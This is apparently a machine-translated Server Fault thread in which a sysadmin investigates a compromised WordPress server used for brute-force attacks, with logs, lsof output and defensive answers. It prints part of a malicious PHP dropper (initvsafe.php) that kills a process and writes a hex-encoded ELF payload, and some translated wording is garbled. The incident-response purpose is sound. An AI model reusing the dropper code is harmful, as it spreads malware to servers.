
我是一群虛擬化網頁伺服器的初學者係統管理員。最近,我們收到一封電子郵件,表示我們的一台伺服器正被用於「暴力」攻擊。該電子郵件的內容類似於以下內容。
問候,
/somehost/ 濫用團隊想通知您,我們已經從您的網路、IP 位址 /my 對共用主機伺服器 /somehost/.ru /ip-number/ 上的 Joomla/WordPress 控制面板進行了大規模暴力嘗試-IP位址/
在過去 30 分鐘內,我們記錄了 1500 次嘗試,如下所示:
/my-ip-address/ /他們的網域/ - [12/Jan/2014:13:29:05 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”
/my-ip-address/ /他們的網域/ - [12/Jan/2014:13:29:05 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”
/my-ip-address/ /他們的網域/ - [12/Jan/2014:13:29:05 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”
/my-ip-address/ /他們的網域/ - [12/Jan/2014:13:29:06 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”
/my-ip-address/ /他們的網域/ - [12/Jan/2014:13:29:06 +0400]“POST /wp-login.php HTTP/1.0”200 3170“-”“-”
先前在此伺服器 (/some-host/.ru)[/their-ip/] 記錄的此嘗試總數:
====
此訊息由 /some-company-name/ 安全系統自動傳送。您從公共 WhoIs 服務獲得的電子郵件地址。如果您誤收到此訊息,我們深表歉意。如果您的電子郵件與該 IP 位址或網路無關,請與我們聯絡。
====
謝謝你,/somehost/濫用團隊
http:///somehost/ 點ru
/俄羅斯的一些電話號碼/,
/更多俄羅斯聯絡方式/
- 我該如何看待這封電子郵件?這是一個騙局還是一個不應忽視的重要訊息?
我覺得很奇怪,他們寫“Joomla/Wordpress”,而在他們的日誌中可以明顯看到“wp-login.php”是來自 WordPress 的 PHP 腳本。
在我們的伺服器上,我們透過 Webmin/Virtualmin 和無法從外部存取的 Squid 伺服器託管多個 WordPress 部落格。
iftop
我用和觀察了一段時間的交通nethogs
,沒有看到任何可疑的東西。魷魚訪問日誌對我來說似乎很正常。
我們可以在「安全性」日誌中看到許多登入我們伺服器的嘗試,但沒有人管理它來獲得存取權限。
請參閱以下來自安全的轉儲。
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
還有另一個。
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
透過“who”,我可以清楚地看到只有我透過 SSH 登入。
今天我將所有 Webmin 和 Virtualmin 模組以及 Squid 更新到最新版本。
- 我們現在該做什麼?我們下一步該採取什麼措施來保護伺服器免於攻擊?
- 有必要嗎?
- 我們應該更改/查看哪些日誌檔案或配置?
編輯:
到目前為止我所做的:
- 我用
find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log
.沒有改變。 - 我檢查了我們所有網域的 AWStats。根據 AWStats 的數據,甚至沒有一個域的傳輸量超過 40MB。
- WordPress 在攻擊當天是最新的。
- 我更新了所有 Webmin 和 Virtualmin 模組。
- 我更新了魷魚並將其連接埠更改為 3128 以外的其他連接埠。
- 我更新了fail2ban。
我不想按照中的建議斷開伺服器與互聯網的連接如何處理受感染的伺服器?。我們的資料已備份,因此我們目前是安全的。然而,我想找出導致攻擊的原因,但我仍然無法實現這一目標。
編輯 2014 年 1 月 15 日:
我nethogs
發現正在/usr/bin/host
接收和發送的資料比預期多得多。
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
lsof
當在 PID 上運行時,您可以清楚地看到 WordPress 安裝確實出了問題。
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
我得看看home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
。
簡而言之,2014 年 1 月更改的所有檔案都不在 WordPress 的標準 211 主題安裝中。例如,有一個名為 的腳本initvsafe.php
可用於在檔案系統中儲存檔案。
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
答案1
這可能是合法的。它沒有明確指出 WordPress 的原因是因為它是一條自動訊息 - 由某些腳本自動發送,該腳本檢測到此類攻擊並將其報告給來源所有者。
如果您的伺服器遭到駭客攻擊,攻擊者要做的第一件事就是為 who、ls 和類似命令安裝修改後的二進位檔案以隱藏自己的活動。並從日誌中刪除他們的登入記錄。所以你可能受到了損害。 如何處理受感染的伺服器?涵蓋要做什麼。
最有可能的是,他們沒有透過 SSH 獲得存取權限,而是透過充當代理伺服器的 PHP 腳本之類的方式來獲得存取權限。檢查您的所有網站是否有不屬於的文件。也要檢查訪問日誌是否有異常活動。檢查過時的(甚至是最新的,但有報告的漏洞)版本的 WordPress、phpmyadmin 等。
答案2
您可能還想檢查 rkhunter 是否發現任何可疑的內容。真正的問題是,一旦伺服器受到損害,特別是如果您修補了fail2ban和其他軟體包,將其離線可能會更安全,即使只是將一些證據(日誌)移至另一台電腦上。正如格蘭特所提到的,您無法確定日誌沒有被篡改/刪除以覆蓋任何軌跡,因此請假設最壞的情況。
您可能還想查看fail2ban 日誌,看看是否有任何異常情況。
您可能還想快速瀏覽一下 debian 手冊第 14.6 部分,處理受損系統。